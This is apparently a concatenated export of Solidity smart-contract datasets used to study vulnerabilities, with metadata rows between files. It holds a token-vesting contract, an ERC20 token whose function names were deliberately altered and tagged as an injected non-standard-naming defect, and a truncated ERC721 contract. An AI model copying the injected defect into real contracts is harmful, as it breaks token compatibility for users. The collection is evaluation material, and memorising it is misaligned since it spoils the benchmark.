uint256 releasableFunds = ReleasingScheduleInterface(releasingScheduleContract).getReleasableFunds(this);
ERC20TokenInterface(tokenAddress).transfer(beneficiary, releasableFunds);
VestingMasterInterface(owner).substractLockedAmount(releasableFunds);
// have to do it here, can't use return, because contract selfdestructs
// returns remainder of funds to VestingMaster and kill vesting contract
VestingMasterInterface(owner).addInternalBalance(getTokenBalance());
ERC20TokenInterface(tokenAddress).transfer(owner, getTokenBalance());
emit RevokedAndDestroyed(_reason);
selfdestruct(owner);
}
function getTokenBalance() public view returns (uint256 tokenBalance) {
return ERC20TokenInterface(tokenAddress).balanceOf(address(this));
}
function updateBalanceOnFunding(uint256 _amount) external onlyOwner {
internalBalance = internalBalance.add(_amount);
emit VestingReceivedFunding(_amount);
}
// check for changes in balance in order to track amount of locked tokens and notify master
function checkForReceivedTokens() public {
if (getTokenBalance() != internalBalance) {
uint256 receivedFunds = getTokenBalance().sub(internalBalance);
// if not allowed to receive tokens, do not account for them
if (canReceiveTokens) {
internalBalance = getTokenBalance();
VestingMasterInterface(owner).addLockedAmount(receivedFunds);
} else {
emit NotAllowedTokensReceived(receivedFunds);
}
emit TokensReceivedSinceLastCheck(receivedFunds);
}
fallbackTriggered = true;
}
function salvageOtherTokensFromContract(address _tokenAddress, address _to, uint _amount) external onlyOwner {
require(_tokenAddress != tokenAddress);
ERC20TokenInterface(_tokenAddress).transfer(_to, _amount);
}
function salvageNotAllowedTokensSentToContract(address _to, uint _amount) external onlyOwner {
// check if there are any new tokens
checkForReceivedTokens();
// only allow sending tokens, that were not allowed to be sent to contract
require(_amount <= getTokenBalance() - internalBalance);
ERC20TokenInterface(tokenAddress).transfer(_to, _amount);
}
function () external{
fallbackTriggered = true;
}
}
contract VestingMasterContract is Owned {
using SafeMath for uint256;
address public tokenAddress;
bool public canReceiveTokens;
address public moderator;
uint256 public internalBalance;
uint256 public amountLockedInVestings;
bool public fallbackTriggered;
struct VestingStruct {
uint256 arrayPointer;
// custom data
address beneficiary;
address releasingScheduleContract;
string vestingType;
uint256 vestingVersion;
}
address[] public vestingAddresses;
mapping(address => VestingStruct) public addressToVestingStruct;
mapping(address => address) public beneficiaryToVesting;
event VestingContractFunded(address beneficiary, address tokenAddress, uint256 amount);
event LockedAmountDecreased(uint256 amount);
event LockedAmountIncreased(uint256 amount);
event TokensReceivedSinceLastCheck(uint256 amount);
event TokensReceivedWithApproval(uint256 amount, bytes extraData);
event NotAllowedTokensReceived(uint256 amount);
function VestingMasterContract(address _tokenAddress, bool _canReceiveTokens) public{
tokenAddress = _tokenAddress;
canReceiveTokens = _canReceiveTokens;
internalBalance = 0;
amountLockedInVestings = 0;
}
// todo: make storage lib
////////// STORAGE HELPERS ///////////
function vestingExists(address _vestingAddress) public view returns (bool exists){
if (vestingAddresses.length == 0) {return false;}
return (vestingAddresses[addressToVestingStruct[_vestingAddress].arrayPointer] == _vestingAddress);
}
function storeNewVesting(address _vestingAddress, address _beneficiary, address _releasingScheduleContract, string _vestingType, uint256 _vestingVersion) internal onlyOwner returns (uint256 vestingsLength) {
require(!vestingExists(_vestingAddress));
addressToVestingStruct[_vestingAddress].beneficiary = _beneficiary;
addressToVestingStruct[_vestingAddress].releasingScheduleContract = _releasingScheduleContract;
addressToVestingStruct[_vestingAddress].vestingType = _vestingType;
addressToVestingStruct[_vestingAddress].vestingVersion = _vestingVersion;
beneficiaryToVesting[_beneficiary] = _vestingAddress;
addressToVestingStruct[_vestingAddress].arrayPointer = vestingAddresses.push(_vestingAddress) - 1;
return vestingAddresses.length;
}
function deleteVestingFromStorage(address _vestingAddress) internal onlyOwner returns (uint256 vestingsLength) {
require(vestingExists(_vestingAddress));
delete (beneficiaryToVesting[addressToVestingStruct[_vestingAddress].beneficiary]);
uint256 indexToDelete = addressToVestingStruct[_vestingAddress].arrayPointer;
address keyToMove = vestingAddresses[vestingAddresses.length - 1];
vestingAddresses[indexToDelete] = keyToMove;
addressToVestingStruct[keyToMove].arrayPointer = indexToDelete;
vestingAddresses.length--;
return vestingAddresses.length;
}
function addVesting(address _vestingAddress, address _beneficiary, address _releasingScheduleContract, string _vestingType, uint256 _vestingVersion) public {
uint256 vestingBalance = TokenVestingInterface(_vestingAddress).getTokenBalance();
amountLockedInVestings = amountLockedInVestings.add(vestingBalance);
storeNewVesting(_vestingAddress, _beneficiary, _releasingScheduleContract, _vestingType, _vestingVersion);
}
/// releases funds to beneficiary
function releaseVesting(address _vestingContract) external {
require(vestingExists(_vestingContract));
require(msg.sender == addressToVestingStruct[_vestingContract].beneficiary || msg.sender == owner || msg.sender == moderator);
TokenVestingInterface(_vestingContract).release();
}
/// Transfers releasable funds from vesting to beneficiary (caller of this method)
function releaseMyTokens() external {
address vesting = beneficiaryToVesting[msg.sender];
require(vesting != 0);
TokenVestingInterface(vesting).release();
}
// add funds to vesting contract
function fundVesting(address _vestingContract, uint256 _amount) public onlyOwner {
// convenience, so you don't have to call it manualy if you just uploaded funds
checkForReceivedTokens();
// check if there is actually enough funds
require((internalBalance >= _amount) && (getTokenBalance() >= _amount));
// make sure that fundee is vesting contract on the list
require(vestingExists(_vestingContract));
internalBalance = internalBalance.sub(_amount);
ERC20TokenInterface(tokenAddress).transfer(_vestingContract, _amount);
TokenVestingInterface(_vestingContract).updateBalanceOnFunding(_amount);
emit VestingContractFunded(_vestingContract, tokenAddress, _amount);
}
function getTokenBalance() public constant returns (uint256) {
return ERC20TokenInterface(tokenAddress).balanceOf(address(this));
}
function revokeVesting(address _vestingContract, string _reason) external onlyOwner {
TokenVestingInterface subVestingContract = TokenVestingInterface(_vestingContract);
subVestingContract.revoke(_reason);
deleteVestingFromStorage(_vestingContract);
}
// when vesting is revoked it sends back remaining tokens and updates internalBalance
function addInternalBalance(uint256 _amount) external {
require(vestingExists(msg.sender));
internalBalance = internalBalance.add(_amount);
}
// vestings notifies if there has been any changes in amount of locked tokens
function addLockedAmount(uint256 _amount) external {
require(vestingExists(msg.sender));
amountLockedInVestings = amountLockedInVestings.add(_amount);
emit LockedAmountIncreased(_amount);
}
// vestings notifies if there has been any changes in amount of locked tokens
function substractLockedAmount(uint256 _amount) external {
require(vestingExists(msg.sender));
amountLockedInVestings = amountLockedInVestings.sub(_amount);
emit LockedAmountDecreased(_amount);
}
// check for changes in balance in order to track amount of locked tokens
function checkForReceivedTokens() public {
if (getTokenBalance() != internalBalance) {
uint256 receivedFunds = getTokenBalance().sub(internalBalance);
if (canReceiveTokens) {
amountLockedInVestings = amountLockedInVestings.add(receivedFunds);
internalBalance = getTokenBalance();
}
else {
emit NotAllowedTokensReceived(receivedFunds);
}
emit TokensReceivedSinceLastCheck(receivedFunds);
} else {
emit TokensReceivedSinceLastCheck(0);
}
fallbackTriggered = false;
}
function salvageNotAllowedTokensSentToContract(address _contractFrom, address _to, uint _amount) external onlyOwner {
if (_contractFrom == address(this)) {
// check if there are any new tokens
checkForReceivedTokens();
// only allow sending tokens, that were not allowed to be sent to contract
require(_amount <= getTokenBalance() - internalBalance);
ERC20TokenInterface(tokenAddress).transfer(_to, _amount);
}
if (vestingExists(_contractFrom)) {
TokenVestingInterface(_contractFrom).salvageNotAllowedTokensSentToContract(_to, _amount);
}
}
function salvageOtherTokensFromContract(address _tokenAddress, address _contractAddress, address _to, uint _amount) external onlyOwner {
require(_tokenAddress != tokenAddress);
if (_contractAddress == address(this)) {
ERC20TokenInterface(_tokenAddress).transfer(_to, _amount);
}
if (vestingExists(_contractAddress)) {
TokenVestingInterface(_contractAddress).salvageOtherTokensFromContract(_tokenAddress, _to, _amount);
}
}
function killContract() external onlyOwner {
require(vestingAddresses.length == 0);
ERC20TokenInterface(tokenAddress).transfer(owner, getTokenBalance());
selfdestruct(owner);
}
function setWithdrawalAddress(address _vestingContract, address _beneficiary) external {
require(vestingExists(_vestingContract));
TokenVestingContract vesting = TokenVestingContract(_vestingContract);
require(msg.sender == vesting.beneficiary() || (msg.sender == owner && vesting.changable()));
TokenVestingInterface(_vestingContract).setWithdrawalAddress(_beneficiary);
addressToVestingStruct[_vestingContract].beneficiary = _beneficiary;
}
function receiveApproval(address _from, uint256 _amount, address _tokenAddress, bytes _extraData) external {
require(canReceiveTokens);
require(_tokenAddress == tokenAddress);
ERC20TokenInterface(_tokenAddress).transferFrom(_from, address(this), _amount);
amountLockedInVestings = amountLockedInVestings.add(_amount);
internalBalance = internalBalance.add(_amount);
emit TokensReceivedWithApproval(_amount, _extraData);
}
// Deploys a vesting contract to _beneficiary. Assumes that a releasing
// schedule contract has already been deployed, so we pass it the address
// of that contract as _releasingSchedule
function deployVesting(address _beneficiary,
string _vestingType,
uint256 _vestingVersion,
bool _canReceiveTokens,
bool _revocable,
bool _changable,
address _releasingSchedule) public onlyOwner {
TokenVestingContract newVesting = new TokenVestingContract(_beneficiary, tokenAddress, _canReceiveTokens, _revocable, _changable, _releasingSchedule);
addVesting(newVesting, _beneficiary, _releasingSchedule, _vestingType, _vestingVersion);
}
function deployOtherVesting(address _beneficiary,
uint256 _amount,
uint256 _startTime) public onlyOwner {
TgeOtherReleasingScheduleContract releasingSchedule = new TgeOtherReleasingScheduleContract(_amount, _startTime);
TokenVestingContract newVesting = new TokenVestingContract(_beneficiary, tokenAddress, true, true, true, releasingSchedule);
addVesting(newVesting, _beneficiary, releasingSchedule, 'other', 1);
fundVesting(newVesting, _amount);
}
function deployTgeTeamVesting(address _beneficiary,
uint256 _amount) public onlyOwner {
TgeTeamReleasingScheduleContract releasingSchedule = new TgeTeamReleasingScheduleContract();
TokenVestingContract newVesting = new TokenVestingContract(_beneficiary, tokenAddress, true, true, true, releasingSchedule);
addVesting(newVesting, _beneficiary, releasingSchedule, 'X8 team', 1);
fundVesting(newVesting, _amount);
}
function acceptOwnershipOfVesting(address _vesting) external onlyOwner {
TokenVestingContract(_vesting).acceptOwnership();
}
function setModerator(address _moderator) external onlyOwner {
moderator = _moderator;
}
function () external{
fallbackTriggered = true;
}
}
| 208,065 | 14,053 |
99bbc23a8952cb3ff7e196b2cde616d31d3e59816489c03895d08dbe7e7454d1
| 34,065 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/nonStandarNaming/0xfe86ea039f2a37fdfdd1b97a5fca4cabc80b01b8_nonStandardNaming.sol
| 4,470 | 15,637 |
pragma solidity ^0.6.12;
abstract contract Context {
function _MSGSENDER157() internal view virtual returns (address payable) { //inject NONSTANDARD NAMING
return msg.sender;
}
function _MSGDATA592() internal view virtual returns (bytes memory) { //inject NONSTANDARD NAMING
this;
return msg.data;
}
}
interface IERC20 {
function TOTALSUPPLY223() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF306(address account) external view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER463(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE696(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
function APPROVE561(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM21(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
event TRANSFER851(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL370(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
library SafeMath {
function ADD799(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function SUB732(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB732(a, b, "SafeMath: subtraction overflow");
}
function SUB732(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function MUL950(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function DIV680(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV680(a, b, "SafeMath: division by zero");
}
function DIV680(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function MOD792(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD792(a, b, "SafeMath: modulo by zero");
}
function MOD792(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function ISCONTRACT333(address account) internal view returns (bool) { //inject NONSTANDARD NAMING
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function SENDVALUE497(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function FUNCTIONCALL661(address target, bytes memory data) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return FUNCTIONCALL661(target, data, "Address: low-level call failed");
}
function FUNCTIONCALL661(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return _FUNCTIONCALLWITHVALUE995(target, data, 0, errorMessage);
}
function FUNCTIONCALLWITHVALUE621(address target, bytes memory data, uint256 value) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return FUNCTIONCALLWITHVALUE621(target, data, value, "Address: low-level call with value failed");
}
function FUNCTIONCALLWITHVALUE621(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { //inject NONSTANDARD NAMING
require(address(this).balance >= value, "Address: insufficient balance for call");
return _FUNCTIONCALLWITHVALUE995(target, data, value, errorMessage);
}
function _FUNCTIONCALLWITHVALUE995(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { //inject NONSTANDARD NAMING
require(ISCONTRACT333(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function SAFETRANSFER597(IERC20 token, address to, uint256 value) internal { //inject NONSTANDARD NAMING
_CALLOPTIONALRETURN182(token, abi.encodeWithSelector(token.TRANSFER463.selector, to, value));
}
function SAFETRANSFERFROM780(IERC20 token, address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING
_CALLOPTIONALRETURN182(token, abi.encodeWithSelector(token.TRANSFERFROM21.selector, from, to, value));
}
function SAFEAPPROVE352(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.ALLOWANCE696(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_CALLOPTIONALRETURN182(token, abi.encodeWithSelector(token.APPROVE561.selector, spender, value));
}
function SAFEINCREASEALLOWANCE57(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
uint256 newAllowance = token.ALLOWANCE696(address(this), spender).ADD799(value);
_CALLOPTIONALRETURN182(token, abi.encodeWithSelector(token.APPROVE561.selector, spender, newAllowance));
}
function SAFEDECREASEALLOWANCE5(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
uint256 newAllowance = token.ALLOWANCE696(address(this), spender).SUB732(value, "SafeERC20: decreased allowance below zero");
_CALLOPTIONALRETURN182(token, abi.encodeWithSelector(token.APPROVE561.selector, spender, newAllowance));
}
function _CALLOPTIONALRETURN182(IERC20 token, bytes memory data) private { //inject NONSTANDARD NAMING
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).FUNCTIONCALL661(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Ownable is Context {
address private _owner;
event OWNERSHIPTRANSFERRED950(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING
constructor () internal {
address msgSender = _MSGSENDER157();
_owner = msgSender;
emit OWNERSHIPTRANSFERRED950(address(0), msgSender);
}
function OWNER835() public view returns (address) { //inject NONSTANDARD NAMING
return _owner;
}
modifier ONLYOWNER465() { //inject NONSTANDARD NAMING
require(_owner == _MSGSENDER157(), "Ownable: caller is not the owner");
_;
}
function RENOUNCEOWNERSHIP697() public virtual ONLYOWNER465 { //inject NONSTANDARD NAMING
emit OWNERSHIPTRANSFERRED950(_owner, address(0));
_owner = address(0);
}
function TRANSFEROWNERSHIP738(address newOwner) public virtual ONLYOWNER465 { //inject NONSTANDARD NAMING
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OWNERSHIPTRANSFERRED950(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function NAME734() public view returns (string memory) { //inject NONSTANDARD NAMING
return _name;
}
function SYMBOL830() public view returns (string memory) { //inject NONSTANDARD NAMING
return _symbol;
}
function DECIMALS862() public view returns (uint8) { //inject NONSTANDARD NAMING
return _decimals;
}
function TOTALSUPPLY223() public view override returns (uint256) { //inject NONSTANDARD NAMING
return _totalSupply;
}
function BALANCEOF306(address account) public view override returns (uint256) { //inject NONSTANDARD NAMING
return _balances[account];
}
function TRANSFER463(address recipient, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER846(_MSGSENDER157(), recipient, amount);
return true;
}
function ALLOWANCE696(address owner, address spender) public view virtual override returns (uint256) { //inject NONSTANDARD NAMING
return _allowances[owner][spender];
}
function APPROVE561(address spender, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_APPROVE805(_MSGSENDER157(), spender, amount);
return true;
}
function TRANSFERFROM21(address sender, address recipient, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER846(sender, recipient, amount);
_APPROVE805(sender, _MSGSENDER157(), _allowances[sender][_MSGSENDER157()].SUB732(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function INCREASEALLOWANCE200(address spender, uint256 addedValue) public virtual returns (bool) { //inject NONSTANDARD NAMING
_APPROVE805(_MSGSENDER157(), spender, _allowances[_MSGSENDER157()][spender].ADD799(addedValue));
return true;
}
function DECREASEALLOWANCE585(address spender, uint256 subtractedValue) public virtual returns (bool) { //inject NONSTANDARD NAMING
_APPROVE805(_MSGSENDER157(), spender, _allowances[_MSGSENDER157()][spender].SUB732(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _TRANSFER846(address sender, address recipient, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_BEFORETOKENTRANSFER151(sender, recipient, amount);
_balances[sender] = _balances[sender].SUB732(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].ADD799(amount);
emit TRANSFER851(sender, recipient, amount);
}
function _MINT127(address account, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(account != address(0), "ERC20: mint to the zero address");
_BEFORETOKENTRANSFER151(address(0), account, amount);
_totalSupply = _totalSupply.ADD799(amount);
_balances[account] = _balances[account].ADD799(amount);
emit TRANSFER851(address(0), account, amount);
}
function _BURN291(address account, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(account != address(0), "ERC20: burn from the zero address");
_BEFORETOKENTRANSFER151(account, address(0), amount);
_balances[account] = _balances[account].SUB732(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.SUB732(amount);
emit TRANSFER851(account, address(0), amount);
}
function _APPROVE805(address owner, address spender, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit APPROVAL370(owner, spender, amount);
}
function _SETUPDECIMALS256(uint8 decimals_) internal { //inject NONSTANDARD NAMING
_decimals = decimals_;
}
function _BEFORETOKENTRANSFER151(address from, address to, uint256 amount) internal virtual { } //inject NONSTANDARD NAMING
}
//nGASToken
contract nGASToken is ERC20("pumpgasplatform.com", "nGAS"), Ownable {
function MINT597(address _to, uint256 _amount) public ONLYOWNER465 { //inject NONSTANDARD NAMING
_MINT127(_to, _amount);
}
function TRANSFER463(address to, uint256 amount) public override returns (bool) { //inject NONSTANDARD NAMING
return super.TRANSFER463(to, _PARTIALBURN883(msg.sender, amount));
}
function TRANSFERFROM21(address from, address to, uint256 amount) public override returns (bool) { //inject NONSTANDARD NAMING
return super.TRANSFERFROM21(from, to, _PARTIALBURN883(from, amount));
}
function _PARTIALBURN883(address sender, uint256 amount) internal returns (uint256) { //inject NONSTANDARD NAMING
uint256 burnAmount = (amount.MUL950(30)).DIV680(1000); //3% will be burned every tx
if (burnAmount > 0) {
_BURN291(sender, burnAmount);
}
return amount.SUB732(burnAmount);
}
}
| 278,797 | 14,054 |
9fc44abba3cd4896662b8b4f6d6d6deab386b3e3b2652b684eab74a1f693bc59
| 36,624 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.7/HexagonalPunks-0x8f01f490a585CF5215A9487181Da365b1e2d77f2.sol
| 4,523 | 18,401 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
//
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
//
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from,
address to,
uint256 tokenId) external;
function transferFrom(address from,
address to,
uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes calldata data) external;
}
//
interface IERC721Receiver {
function onERC721Received(address operator,
address from,
uint256 tokenId,
bytes calldata data) external returns (bytes4);
}
//
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
//
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
//
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
//
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
function _baseURI() internal view virtual returns (string memory) {
return "";
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all");
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from,
address to,
uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
